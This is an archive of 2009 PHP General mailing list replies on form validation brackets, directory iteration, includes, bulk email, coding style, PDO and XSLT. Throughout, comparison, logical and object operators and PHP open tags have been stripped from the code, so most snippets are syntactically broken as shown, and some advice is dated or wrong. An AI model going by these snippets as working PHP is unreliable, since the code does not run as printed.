Re: [PHP] Unique User Hashes
Martin Zvarík wrote: Ashley Sheridan napsal(a): On Thu, 2009-02-19 at 23:34 +0100, Martin Zvarík wrote: Chris napsal(a): Martin Zvarík wrote: Chris napsal(a): Martin Zvarík wrote: tedd napsal(a): At 5:28 PM +0100 2/19/09, Martin Zvarík wrote: tedd napsal(a): At 5:10 PM +0100 2/19/09, Martin Zvarík wrote: tedd napsal(a): At 1:49 AM +0100 2/19/09, Martin Zvarík wrote: Guys, I have not seen a poll where you need to input your email address - and if I would I would not vote - because it's a waste of my time... if you want me to vote you do everything you can to make it as pleasant as possible -- certainly that isn't requirement of an email validation. Btw. google free temporary email address to see how unique email addresses really are - in case you meant it in reference to the poll voting - where you care about uniqueness of votes = people. So instead of trolling, offer a better suggestion. Chris, if you would read the whole thread (my first comment), I bet you would consider more wisely your patronizing comment. Use the ip - which we've all said is useless. Where's the better suggestion? Nevermind, I was wrong - thank you for making me realize I am wasting time here. This useless IP solution is used by 80% of websites. I was trying to convice you that requirement of an email validation is just, let's say, unwise. So, don't bark if you don't agree. So you;'e saying that unless we agree with you, not to mention anything? Ash www.ashleysheridan.co.uk I meant: You don't have to bark, if you don't agree. = We can discuss. it's all a bit pointless, the only way to ensure only one vote per person is to get take and test a dns sample from each user. anything else is going to be flawed -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Unique User Hashes
Michael A. Peters wrote: Nathan Rixham wrote: it's all a bit pointless, the only way to ensure only one vote per person is to get take and test a dns sample from each user. anything else is going to be flawed Hey now, what do you have against us clones? ;) and nobody noticed I said DNS sample not DNA sample - jesus thought somebody would have jumped on that one :p -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Re: Securing web services
Yannick Warnier wrote: Hi there, Another Web Service related question. Obviously, Google gives me enough hints to find *many* documents on the topic (searching for securing web services), but I am developing open-source soft and I'd like to secure my web services to the maximum without forcing the user to use HTTPS/SSL (the generation of buying of a certificate is not what our lambda users can do). Yanick, I'm hoping to save you some time here; Web Services are very poorly implemented in PHP (and that sentence is the reason I'm emailing you off-list). Everything you need is catered for in SOAP and by using the WS-xxx extensions which are common place in the Java and .net world (infact most languages) - thankfully those who are fortunate enough to know can do this in PHP as well and consume all manner of web services, as well as generate them. You need WSO2 (oxygen) - specifically WSO2 WSF/PHP; it's the finest web service library for all languages and has a massive community behind it. http://wso2.org/projects/wsf/php docs: http://wso2.org/project/wsf/php/2.0.0/docs/api.html Honestly my friend, everything you need - I've been through the same thing as you for moths over many projects and this framework saved my life. it also has very nice scripts for working with wsdl including an automatic wsdl2php and a full WSDL generation API :) Many Regards, Nathan ps: I'm no affiliation :) -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Re: RecursiveDirectoryIterator and foreach
Ryan Panning wrote: I have discovered that when I foreach over a RecursiveDirectoryIterator (see example below) the $item actually turns into a SplFileInfo object. I would expect it to be a RecursiveDirectoryIterator. How do I do a hasChildren() on SplFileInfo? seems like expected functionality to me, you're looping over the contents of the directory and that can only be a file or a directory - thus SplFileInfo seems correct? in short you don't call hasChildren() on SplFileInfo, you call it on RecursiveDirectoryIterator. From the docs: RecursiveDirectoryIterator::hasChildren — Returns whether current entry is a directory and not '.' or '..' RecursiveDirectoryIterator::getChildren — Returns an iterator for the current entry if it is a directory Thus this is how you call getChildren properly: $dir = new RecursiveDirectoryIterator( dirname(dirname(__FILE__)) ); foreach($dir as $splFileInfo) { if( $dir-hasChildren() ) { $childDir = $dir-getChildren(); echo get_class($childDir) . ' ' . $childDir-getPath() . PHP_EOL; } } many regards, Nathan -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Re: Best error handling
Davi Ramos wrote: Hi. I have a kind of webserver that certain applications communicate with. The problem is that the script (named peer.php) must output data as xml. Thats ok (thanks to XMLWriter). The problem is that when some error occurs (those note catchable by set_error_handler) I have no control on data being outputed. I would like to output xml even on fatal errors (in that case, telling that something gone wrong). I tried using register_shutdown_function but it is crashing (as the nature of fatal errors that make the envirionment unstable). Any idea? Thanks! not a nice answer but make sure you're application has no fatal errors - a fatal error halts the compiler as it's fatal, thus there is no way to implement anything else afterwards or turn it in to an exception or suchlike. further, for live servers you really should have display errors set to off in you're php.ini - at which point nothing will be returned try: (not tested or particularly thought about) 1: move all the code from peer.php in to an include file 2: make you're main peer.php file contain only ?php try { require_once 'include_file.php'; } catch($e) { echo 'some xml error'; } ? can't promise that'll work though, to test quickly just add all that to a php file and run it (as you don't have the required file so a fatal will get raised) regards and good luck - nathan ps: may check this one out myself, sure I've done it years ago when i still made sites -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] A puzzler (well, for me at least)
Robert Cummings wrote: On Sat, 2009-02-28 at 12:35 -0500, Daniel Brown wrote: On Thu, Feb 26, 2009 at 09:50, Ondrej Kulaty kopyto...@gmail.com wrote: Your answer is neither relevant nor funny. :-| And your response wasn't welcome. So there, everyone's even. I'm even?? You sure? People been telling me my entire life that I'm odd! rob, that was either funny or relevant. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] verify problem
Chris wrote: PJ wrote: And again, this works: if (strlen($_POST[first_nameIN]) == 0 ) { $obligatoryFieldNotPresent = 1; ... this does not: if (strlen($_POST[first_nameIN]) 0 ) (strlen($_POST[last_nameIN]) 0 ) { echo $first_nameIN, , $last_nameIN); else (echo error;)} But, $first_nameIn and $last_nameIN do echo their contents without the if clause and we see that the first if clause does work... what am I doing wrong, again? Firstly please learn to indent your code (I don't care if this is just an example of your code, make it easier for everyone who's trying to help you). It's much easier to read this: if (strlen($_POST[first_nameIN]) 0 ) (strlen($_POST[last_nameIN]) 0 ) { echo $first_nameIN, , $last_nameIN; } else { echo error; } If you want help we're not going to spend a long time reformatting your code to try and understand it. Now to the problem. Are both first_nameIN AND last_nameIN longer than 0 chars? var_dump($_POST['first_nameIN']); var_dump($_POST['last_nameIN']); maybe you only filled in first_name or last_name but not both. syntax.. your brackets are all over the place your wrote: if (strlen($_POST[first_nameIN]) 0 ) (strlen($_POST[last_nameIN]) 0 ) { echo $first_nameIN, , $last_nameIN; } else { echo error; } should be: if( (strlen($_POST[first_nameIN]) 0) (strlen($_POST[last_nameIN]) 0) ) { echo $first_nameIN, , $last_nameIN; } else { echo error; } weirdly spaced but easier to read version *throws coding standards out the window*: if( (strlen($_POST[first_nameIN]) 0) (strlen($_POST[last_nameIN]) 0) ) { echo $first_nameIN, , $last_nameIN; } else { echo error; } regards -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] verify problem
PJ wrote: Nathan Rixham wrote: Chris wrote: PJ wrote: And again, this works: if (strlen($_POST[first_nameIN]) == 0 ) { $obligatoryFieldNotPresent = 1; ... this does not: if (strlen($_POST[first_nameIN]) 0 ) (strlen($_POST[last_nameIN]) 0 ) { echo $first_nameIN, , $last_nameIN); else (echo error;)} But, $first_nameIn and $last_nameIN do echo their contents without the if clause and we see that the first if clause does work... what am I doing wrong, again? Firstly please learn to indent your code (I don't care if this is just an example of your code, make it easier for everyone who's trying to help you). It's much easier to read this: if (strlen($_POST[first_nameIN]) 0 ) (strlen($_POST[last_nameIN]) 0 ) { echo $first_nameIN, , $last_nameIN; } else { echo error; } If you want help we're not going to spend a long time reformatting your code to try and understand it. Now to the problem. Are both first_nameIN AND last_nameIN longer than 0 chars? var_dump($_POST['first_nameIN']); var_dump($_POST['last_nameIN']); maybe you only filled in first_name or last_name but not both. syntax.. your brackets are all over the place your wrote: if (strlen($_POST[first_nameIN]) 0 ) (strlen($_POST[last_nameIN]) 0 ) { echo $first_nameIN, , $last_nameIN; } else { echo error; } should be: if( (strlen($_POST[first_nameIN]) 0) (strlen($_POST[last_nameIN]) 0) ) { echo $first_nameIN, , $last_nameIN; } else { echo error; } weirdly spaced but easier to read version *throws coding standards out the window*: if( (strlen($_POST[first_nameIN]) 0) (strlen($_POST[last_nameIN]) 0) ) { echo $first_nameIN, , $last_nameIN; } else { echo error; } regards Oooops, so it was only the parentheses... =-O Thanks, it works now. I do find it confusing just when and where to put the brackets... when in doubt just simplify your code :) example: if( (a 0) (b 0) ) { } else { } then replace a and b with your strlen($_POST[XX]) and hopefully to pre-answer the next question.. :p you should really be checking if the variables are set first, as if somebody requests the page without sending a form you're going to get a tonne of errors.. I'll take 10 out and explain all of this in full for you :) if( isset($_POST['first_nameIN']) ( strlen(trim($_POST['first_nameIN'])) 0 ) ) { REF-A: what we're checking here (as order in which they appear above is: - if the form field 'first_nameIN' has been sent in by POST or not - AND if the length of the trimmed input is greater than zero (trimming it to ensure we don't just have a string like now as you'll know php provides variables and functions, specifically we want to use functions to bracket off code we often repeat, so you could put the above in a function, the variable being the POST field you want: function checkPostField( $fieldname ) { if( isset($_POST[$fieldname]) ( strlen(trim($_POST[$fieldname])) 0 ) ) { return true; } return false; } this will return true if everything we mentioned in REF-A above is true, and false otherwise; we can then use this function in out if statements to make it more readable and save repeating code: if( checkPostField('first_nameIN') checkPostField('last_nameIN') ) { echo $_POST['first_nameIN'] . . $_POST['last_nameIN']; } else { echo error; } you'll note above that I swapped your $first_nameIN with $_POST['first_nameIN'] - this is because at this point we have never created a variable called $first_nameIN containing $_POST['first_nameIN'] so we'll get an empty error.. we could introduce this in to the code though so it can be used later, as such: if( checkPostField('first_nameIN') checkPostField('last_nameIN') ) { $first_nameIN = $_POST['first_nameIN']; $last_nameIN = $_POST['last_nameIN']; echo $first_nameIN . . $last_nameIN; } else { echo error; } finally, without addressing anything else that may confuse matters, the only change I made was changing ,(comma) with .(period) - period is the default concatenation operator in PHP, whereas comma is the list operator - both will work in this scenario but it's best to keep good practise and stick to what always works; feel free to skip this next bit, it's purely for those people who will argue with point.. consider: function echoIt( $string , $lowercase=false , $trim=true ) { ... a simple function with 3 params.. now let's use the comma as a concatenation device and call it: echoIt( $var0 , ' ' , $var1 , true, false ) big problems... you just passed in 5 arguments whereas: echoIt( $var0 . ' ' . $var1 , true, false ) only 3 arguments as we intended - no problems and finally PJ, here's the full code from above to make life a little easier - I'm by no means suggesting you use it, but if you want to give it a go and see if your results are correct then feel free. ?php function checkPostField( $fieldname ) { if( isset($_POST
[PHP] Re: Sending out large amounts of email
Brian Hansen wrote: Hi. Our company is merging with another company and newsletter now needs to go out to more than 100.000 people. Before it was only a couple of thousands. I have developed a mail queue using a database and a cronjob, but I am not in doubt as to what particular solution I need to implement. I have been running some tests with PHP mail() function, PHPMailer and PEAR:Mail using 6000 mails at once. Here's a sumarry of some of the results: PHP mail() send out 6000 mails in 1.75 seconds. PHPMailer using PHP mail() send out 6000 mails in 1.87 seconds. PHPMailer using SMTP send out 6000 mails in 12 seconds (Error without succes). PEAR:Mail using PHP mail() send out 6000 mails in 20 seconds (Apache reached 100% during this time). Running several test on PHPMailer using SMTP failed completely with more than 1000 mails. Everywhere on the net I read that sending out mail using PHP mail() is slow and it is a bad idea and that using some mail class with SMTP directly would be much better. I have tested the run my tests with Postfix as the SMTP. I have gotten the best results using PHP mail(). When the volume is belove 6000 PHP mail() is by far the fastest. Would someone mind sharing experience and perhaps shedding some light on this issue? What is the best solution in real life dealing with huge amounts of mail? PHP mail() vs. some class using SMTP or binary sendmail (or wrapper)? All insights would be appriciated. Best regards. Brian I won't debate the same as everybody else - but you can save yourself some headaches in 2 simple ways: 1: forget using PHP and just sign up for one of the many professional bulk mail services who specialise in this [if in doublt count up your (hours spend * hourly rate - cost of service) and thats how much you'll save - let alone headaches 2: if your like me and want to just do everything for the sake of learning then send each email to chunks of 100+ or so people by adding them all in the bcc header field; then every single call to mail() will be 100x more productive side notes: off-list I'm going to send you a class i made a couple of years ago which popen's sendmail via the command line and sends through a raw mime encoded email to multiple recipients extremely quickly and without error - was the best implementation I could get after much testing and playing for weeks - not saying you should use it, but it is packed with comments and notes you may find useful - linux only uses sendmail note 2: remember you're spf! regards, nathan -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] verify problem
Ashley Sheridan wrote: On Thu, 2009-03-05 at 19:58 -0800, Michael A. Peters wrote: PJ wrote: Nathan Rixham wrote: Chris wrote: PJ wrote: And again, this works: if (strlen($_POST[first_nameIN]) == 0 ) { $obligatoryFieldNotPresent = 1; ... this does not: if (strlen($_POST[first_nameIN]) 0 ) (strlen($_POST[last_nameIN]) 0 ) { echo $first_nameIN, , $last_nameIN); else (echo error;)} But, $first_nameIn and $last_nameIN do echo their contents without the if clause and we see that the first if clause does work... what am I doing wrong, again? Firstly please learn to indent your code (I don't care if this is just an example of your code, make it easier for everyone who's trying to help you). It's much easier to read this: if (strlen($_POST[first_nameIN]) 0 ) (strlen($_POST[last_nameIN]) 0 ) { echo $first_nameIN, , $last_nameIN; } else { echo error; } If you want help we're not going to spend a long time reformatting your code to try and understand it. Now to the problem. Are both first_nameIN AND last_nameIN longer than 0 chars? var_dump($_POST['first_nameIN']); var_dump($_POST['last_nameIN']); maybe you only filled in first_name or last_name but not both. syntax.. your brackets are all over the place your wrote: if (strlen($_POST[first_nameIN]) 0 ) (strlen($_POST[last_nameIN]) 0 ) { echo $first_nameIN, , $last_nameIN; } else { echo error; } should be: if( (strlen($_POST[first_nameIN]) 0) (strlen($_POST[last_nameIN]) 0) ) { echo $first_nameIN, , $last_nameIN; } else { echo error; } weirdly spaced but easier to read version *throws coding standards out the window*: if( (strlen($_POST[first_nameIN]) 0) (strlen($_POST[last_nameIN]) 0) ) { echo $first_nameIN, , $last_nameIN; } else { echo error; } regards Oooops, so it was only the parentheses... =-O Thanks, it works now. I do find it confusing just when and where to put the brackets... I personally like to do an indent of 3 spaces and indent the closing bracket. IE while ($foo != $bar) { dosomestuff(); dosomemorestuff(); if ($frog $ape) { dosomeotherstuff(); } elseif ($lizard $cat) { someaction(); } else { $bar++; } $foo++; } Most don't do it that - they use line breaks before the open bracket etc. I don't remember where I learned it, looking at stuff I did in bash and expect (tcl) and perl way back when, I didn't do it that way - but it makes the most sense to me - because a closing bracket finishes the statement that started on the line the opening bracket is on. I guess to each his own. It may have been some fancy text editor I tried that did it the way automagically, or someone elses code I had to read, but damned if I remember. I'm more a fan of lining up opening and closing brackets so they are at the same indent level. It prevents one of the most popular errors caused by omitting a bracket, brace or other in the wrong place. A few extra line breaks in the code are not going to make a noticeable impact on the file size of the script! Ash www.ashleysheridan.co.uk yeah I do that with functions, methods, classes but not so much with if/for/while/switch statements.. here's the coding standards I always break (when compared against zend) Private member variable must contain a leading underscore Expected if (...) {\n; found if(...) {\n Expected } elseif (...) {\n; found } elseif(...) {\n Expected foreach (...) {\n; found foreach(...) {\n Space found before comma in function call Space after opening parenthesis of function call prohibited Space before closing parenthesis of function call prohibited but all of them are because I personally find if( $x $y ) { } elseif( $x == $y ) { } more readable than: if ($x $y) { } elseif ($x == $y) { } and public function someMethod( $arg0 , $arg1 , $arg2 ) { more readable than: public function someMethod($arg0, $arg1, $arg2) { regards, nath -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] verify problem
Ashley Sheridan wrote: On Sat, 2009-03-07 at 13:42 +, Nathan Rixham wrote: Ashley Sheridan wrote: On Thu, 2009-03-05 at 19:58 -0800, Michael A. Peters wrote: PJ wrote: Nathan Rixham wrote: Chris wrote: PJ wrote: And again, this works: if (strlen($_POST[first_nameIN]) == 0 ) { $obligatoryFieldNotPresent = 1; ... this does not: if (strlen($_POST[first_nameIN]) 0 ) (strlen($_POST[last_nameIN]) 0 ) { echo $first_nameIN, , $last_nameIN); else (echo error;)} But, $first_nameIn and $last_nameIN do echo their contents without the if clause and we see that the first if clause does work... what am I doing wrong, again? Firstly please learn to indent your code (I don't care if this is just an example of your code, make it easier for everyone who's trying to help you). It's much easier to read this: if (strlen($_POST[first_nameIN]) 0 ) (strlen($_POST[last_nameIN]) 0 ) { echo $first_nameIN, , $last_nameIN; } else { echo error; } If you want help we're not going to spend a long time reformatting your code to try and understand it. Now to the problem. Are both first_nameIN AND last_nameIN longer than 0 chars? var_dump($_POST['first_nameIN']); var_dump($_POST['last_nameIN']); maybe you only filled in first_name or last_name but not both. syntax.. your brackets are all over the place your wrote: if (strlen($_POST[first_nameIN]) 0 ) (strlen($_POST[last_nameIN]) 0 ) { echo $first_nameIN, , $last_nameIN; } else { echo error; } should be: if( (strlen($_POST[first_nameIN]) 0) (strlen($_POST[last_nameIN]) 0) ) { echo $first_nameIN, , $last_nameIN; } else { echo error; } weirdly spaced but easier to read version *throws coding standards out the window*: if( (strlen($_POST[first_nameIN]) 0) (strlen($_POST[last_nameIN]) 0) ) { echo $first_nameIN, , $last_nameIN; } else { echo error; } regards Oooops, so it was only the parentheses... =-O Thanks, it works now. I do find it confusing just when and where to put the brackets... I personally like to do an indent of 3 spaces and indent the closing bracket. IE while ($foo != $bar) { dosomestuff(); dosomemorestuff(); if ($frog $ape) { dosomeotherstuff(); } elseif ($lizard $cat) { someaction(); } else { $bar++; } $foo++; } Most don't do it that - they use line breaks before the open bracket etc. I don't remember where I learned it, looking at stuff I did in bash and expect (tcl) and perl way back when, I didn't do it that way - but it makes the most sense to me - because a closing bracket finishes the statement that started on the line the opening bracket is on. I guess to each his own. It may have been some fancy text editor I tried that did it the way automagically, or someone elses code I had to read, but damned if I remember. I'm more a fan of lining up opening and closing brackets so they are at the same indent level. It prevents one of the most popular errors caused by omitting a bracket, brace or other in the wrong place. A few extra line breaks in the code are not going to make a noticeable impact on the file size of the script! Ash www.ashleysheridan.co.uk yeah I do that with functions, methods, classes but not so much with if/for/while/switch statements.. here's the coding standards I always break (when compared against zend) Private member variable must contain a leading underscore Expected if (...) {\n; found if(...) {\n Expected } elseif (...) {\n; found } elseif(...) {\n Expected foreach (...) {\n; found foreach(...) {\n Space found before comma in function call Space after opening parenthesis of function call prohibited Space before closing parenthesis of function call prohibited but all of them are because I personally find if( $x $y ) { } elseif( $x == $y ) { } more readable than: if ($x $y) { } elseif ($x == $y) { } and public function someMethod( $arg0 , $arg1 , $arg2 ) { more readable than: public function someMethod($arg0, $arg1, $arg2) { regards, nath It's the if/for/while's that I often have these problems with! For me, doing a switch/case like this takes only a tiny bit more time than how I've seen others do it, but has major benefits when code spans out into several screens worth: switch($action) { case 'addCat': { // code break; } case 'editCat': { // code break; } case 'killCat': { // code break; } } Etc... I think some of the old style of coding where as little vertical space is used as possible is a throwback from the days when program listings were printed out for review afterwards, and found in magazines/books for hobbyists to type in (I am going back a bit now!) I do exactly the same with my HTML too, indenting block-level elements so that everything is readable with a quick glance afterwards (how many times have you forgot to close a div, or closed too many
Re: [PHP] verify problem
Michael A. Peters wrote: Ashley Sheridan wrote: I'm more a fan of lining up opening and closing brackets so they are at the same indent level. It prevents one of the most popular errors caused by omitting a bracket, brace or other in the wrong place. A few extra line breaks in the code are not going to make a noticeable impact on the file size of the script! It's fairly easy to check for missing } with my method as well statementA { statementa1 statementa2 statementa3 statementB { statementb1 statementb2 } You can see the missing bracket for statementA by seeing that statementB doesn't have one above it. I also generally create my } as soon as I create the { so I can comment the } identifying what it closes. I don't always comment it, but when I don't there are times I did when trying to track down a logic issue in nested loops. But - how to indent - if it's your project, whatever floats your boat, if it's a group project, you conform to the group specification for indenting (almost nothing is worse than several different indentation methods in a source file edited by multiple people - especially mixing real tabs and spaces, unix line breaks and dos line breaks.) actually much of this discussion is null and voided by using a decent IDE, certainly eclipse, netbeans, zend ide all handle much of the formatting and indenting - the one gripe I have is that PDT2 is lacking the format source option which is a vast time-saver when using eclipse for most other languages. also, they all show PHP syntax errors which obviously provides cover for the main problem, missing brackets n braces. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] include question
Daniel Brown wrote: On Fri, Mar 6, 2009 at 08:53, Stuart stut...@gmail.com wrote: 1.) We use regular open tags to be compatible with all stock PHP configurations. 2.) We echo out the response from dirname() so that it's output to the HTML source. 3.) We use dirname() twice, so it gives the dirname() of the dirname(), rather than '..'. 4.) There are double underscores around FILE. The same is true with LINE, FUNCTION, etc. 5.) dirname() gives you the full path on disk, not the URL. Usually you can just remove the document root path to get the URL. This could be in $_SERVER['DOCUMENT_ROOT'] but you can't rely on that between servers or when the config changes. 6.) When used in conjunction with realpath()[1], it will resolve the absolute local pathname. ^1: http://php.net/realpath that's the way i do it, for example require_once realpath( dirname(__FILE__) . '/lib/LibAllTests.php' ); also I often use set_include_path to ensure everything works throughout, it's a lot simpler for require/includes set_include_path( get_include_path() . PATH_SEPARATOR . realpath( dirname(__FILE__) . DIRECTORY_SEPARATOR ) ); for example.. then all subsequent requires will be: require_once 'Folder/file.php'; regards -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: if elseif elseif elseif....
Daniel Brown wrote: On Sat, Mar 7, 2009 at 15:23, Robert Cummings rob...@interjinn.com wrote: ?php for( ; ; ) { echo You can make an endless loop in many, many ways.\n; } ? ?php while(1) echo Yup.\n; ? ?php echo 'yup' . PHP_EOL; include __FILE__; ? -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Database Abstraction Class
Eric Butera wrote: On Sat, Mar 7, 2009 at 5:07 PM, Paul M Foster pa...@quillandmouse.com wrote: On Sat, Mar 07, 2009 at 12:34:40PM -0500, Eric Butera wrote: snip PDO. :) Anything else is a waste of cpu cycles. I've looked into PDO, and I just didn't find it as feature-rich as the native (non-OO) function assortment for database types like MySQL and PostgreSQL. Can PDO be extended? In any case, I just wrote my own driver class for each DB type, and then a function which instantiates the appropriate driver with the appropriate parameters. Paul -- Paul M. Foster -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php Show me FETCH_INTO and FETCH_CLASS elsewhere. :D What exactly is missing for you? try using those two with private variables using setters or magic methods to set and you'll see :p nath -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Re: php fop (XSLFO)
Tom Sparks wrote: is there a php Fop (XSLFO)? if not are there any that are not java based and can be run o a website that has php support only? Hi Tom, Not XSLFO as such, this was split up years ago in to it's comprising parts - XSLT, XSL and XPath, all of which PHP supports with the fantastic addition of a full DOM API for XML based documents. http://php.net/dom (includes DOMXPath) http://php.net/xsl (XSLTProcessor) example: ?php // load xsl $XSLDocument = new DOMDocument(); $XSLDocument-load(xsl_document.xsl); // load xml $XMLDocument = new DOMDocument(); $XMLDocument-load('xml_document.xml'); //run xslt transformation $XSLTProcessor = new XSLTProcessor(); $XSLTProcessor-importStylesheet($XSLDocument); $NEWDoc = $XSLTProcessor-transformToDoc($XMLDocument); // echo the new document echo $NEWDoc-saveXML(); ? Regards :) Nathan -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] DOM recursion
Jochem Maas wrote: Jochem Maas schreef: Joanne Lane schreef: I am trying to create a class that recursively iterates over an array an creates XML tree to reflect a multidimensional array. I am not really a PHP coder, but am trying my hand. I've seen 'real coders' write stuff thats leagues worse. This is what I have so far. http://pastie.org/private/w75vyq9ub09p0uawteyieq I have tried a few methods, but I keep failing. Currently, all elements are appended to the root node. .. yes my pleasure, glad I could help, not a problem. phffft. all too often the case man, I'm sure free-w...@lists.php.net points here -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Line Break Problem
Alice Wei wrote: Date: Mon, 9 Mar 2009 13:28:19 +0100 From: joc...@iamjochem.com To: stut...@gmail.com CC: aj...@alumni.iu.edu; php-general@lists.php.net Subject: Re: [PHP] Line Break Problem Stuart schreef: 2009/3/9 Alice Wei aj...@alumni.iu.edu I have a question regarding using line breaks in PHP. I have the code something like: echo 1 . \t . $x . \t . $y . \r\n; When I run the code, it looks like a whole blob of text, but when I use View Source, the line breaks are formatted then correctly. Anyone can please tell me if this is what this is supposed to be? If so, how can I get the user to see the line break as they are, do I have to use br? you can also wrap the output in question in a pre tag: pre 1 X Y 2 X Y /pre alternatively use the nl2br() function ... but that won't help with displaying the tabs. note that there is a difference between the output of your script (which you can view using 'View Source' when the output is sent to the browser) and the representation of that same source (by which I mean how the the source is rendered [in the browser, in this case). HTML rendering ignores tabs, carriage returns and multiple consecutive spaces found in the source (with the exception of the pre tag, possibly the code tag, additionally the CSS attribute 'whitespace', IIRC, can be used to force rendering all whitespace chars. Hi, all: Thanks to all who replied. It looks like that a simple pre tag works great. Looks like I didn't realize that \r\n does not reflect itself to the screen. Alice _ All-in-one security and maintenance for your PC. Get a free 90-day trial! http://www.windowsonecare.com/purchase/trial.aspx?sc_cid=wl_wlmail just a little side-note \r\n is windows specific, \n is linux but also works in many windows applications - the best option though is to use the php constant PHP_EOL as such which will use the correct end of line terminator for whichever platform your app is on, thus making your scripts portable and saving you future headaches :) echo 1 . \t . $x . \t . $y . PHP_EOL; -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Opendir on site root directory?
Stuart wrote: 2009/3/8 Clancy clanc...@cybec.com.au On Sun, 8 Mar 2009 12:33:15 +, stut...@gmail.com (Stuart) wrote: 2009/3/8 Clancy clanc...@cybec.com.au On Sun, 8 Mar 2009 09:01:18 +, stut...@gmail.com (Stuart) wrote: 2009/3/8 Clancy clanc...@cybec.com.au I want to index the files on a website recursively. The program will run in the site root directory, which GETCWD reports as D:/Websites/Website_1. I can open any file in the root directory simply using its file name; Joe.dat, for example, and I can opendir for any subdirectory; eg opendir(Subdirectory_1); but opendir () does not seem to work, and the only way I can find to open the root directory is to give its full path; eg opendir (D:/Websites/Website_1); I have got the program working by using the full path to open the root directory, and then using relative paths to open the subdirectories and individual files, but this seems rather a kludge, and I am wondering if there is a way to open the root directory without specifying an absolute path? The current working directory cannot be trusted to be right. The best option is to use dirname(__FILE__) and add '/..' as many times as needed to get from the current file to the document root you're after. It has always worked for me. But then I never change directory. But both give a hardware dependent answer; echo 'pCurrent directory is '.__FILE__.', CWD is '.getcwd().'/p'; gives Current directory is D:\Websites\Corybas\Cydaldev\Dev\Testbed_2.php, CWD is D:\Websites\Corybas. Not sure what you mean by a hardware-dependent answer. The current working directory for any given script is determined by the web server and so it cannot be assumed to be the location of the current script. dirname(__FILE__) will give you the directory the current script is in. I agree that 'hardware dependent' was not the right word, but what I meant was that if I am running the local version of my program getcwd() will return 'D:\Websites\Corybas', where as if I am running the remote version it will return 'home/Corybasftp/www'. This should be irrelevant in your code, something you can achieve using dirname(__FILE__). My webpage is always launched by loading index.php from the root directory, and I don't think I ever change the working directory, so although the code actually being executed at any given time is usually in a subdirectory, getcwd() will reliably return the (system dependent) long definition of the root directory. Either I'm not explaining this well enough or you're just not getting it. Ignore the current working directory - it's not reliable. If every page is created by a single script then the solution is to define a constant at the top of that script that gives you the directory that script is in define('ROOT_DIR', dirname(__FILE__)); Then when you need to refer to another file in your directory structure you do so relative to the location of index.php. So if you have a directory named arse in the same folder as index.php you'd refer to that like so... ROOT_DIR.'/arse' If that's not clear maybe this will help: http://dev.stut.net/php/dirname.php Based on that the following should work in your particular situation, but rather than just using this I encourage you to understand why it works... opendir(dirname(__FILE__).'/../Cydaldev'); Looking into this I did find that 'opendir('Albums/../');', where 'Albums' can be any subdirectory I know to be present, will reliably open the root directory. You clearly haven't looked into this at all since you're still not using dirname(__FILE__), and if this email complete with the example script above doesn't get the point across I give up. Have you even looked up dirname in the manual? http://php.net/dirname As a result of what seems to me to be an oversight in the design of opendir(), in that opendir(Fred) and opendir(Fred/Nurg) will open the appropriate sub directories but opendir() will not open the root directory, I can readily index all the subdirectories by giving their relative paths, but I have to resort to a kludge to index the root directory, and another kludge to eliminate this kludge from the index. As in the example script I've posted above you can refer to the current working directory with a single period (.), but this is still relying on the current working directory being what you expect it to be. If, as it seems, I have to accept this it is fairly immaterial which kludge I actually use. There is no need to use a kludge. I encourage you to read my replies carefully if you're still not getting it. -Stuart lol stut! - just-in-case I'll add in that __FILE__ is a magic php constant holding the path to the file it is used in, and not just stuarts way of saying put your filename here regards! -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] PHP includes
Virgilio Quilario wrote: I'm working on learning php and have been toying with includes, and I am trying to figure the advantages/disadvantages to using them. I know that using them eliminates the need to put the files once altered as with a template, however, is that the only advantage. My particular concerns are with SEO and if the search engines and the bots can read the page if it is made completely on includes? Any and all comments would be appreciated. hi Gary, It doesn't matter to SEO because search engines and the bots reads the output of your php scripts. whatever you see when you browse your page, same thing bots would see. Includes is a way to modularize your scripts instead of monolithic or repeated codes everywhere in your php file. Virgil http://www.jampmark.com everybody is correct, include = server side include - all happens on the server, client never knows -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] web refreshing problem
Andrew Williams wrote: Hi, my php program does not display current result of submitted form instead the previous content is shown until you refresh manually (which means resubmitting the form). Can someone help me out because, I want to display the result of the latest form result and not the old one. I am using apache server on windows. Please help. have you per chance got all data saved in the session and are using a script like if( something in session ) { show session } else if( something in post ) { add form data to session } else { show only the form } three common causes are: 1- you're not actually processing the new form data 2- your browser isn't sending the form data second time round 3- your browser is caching the page (very very unlikely) regards -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Re: Error in Building an XML File
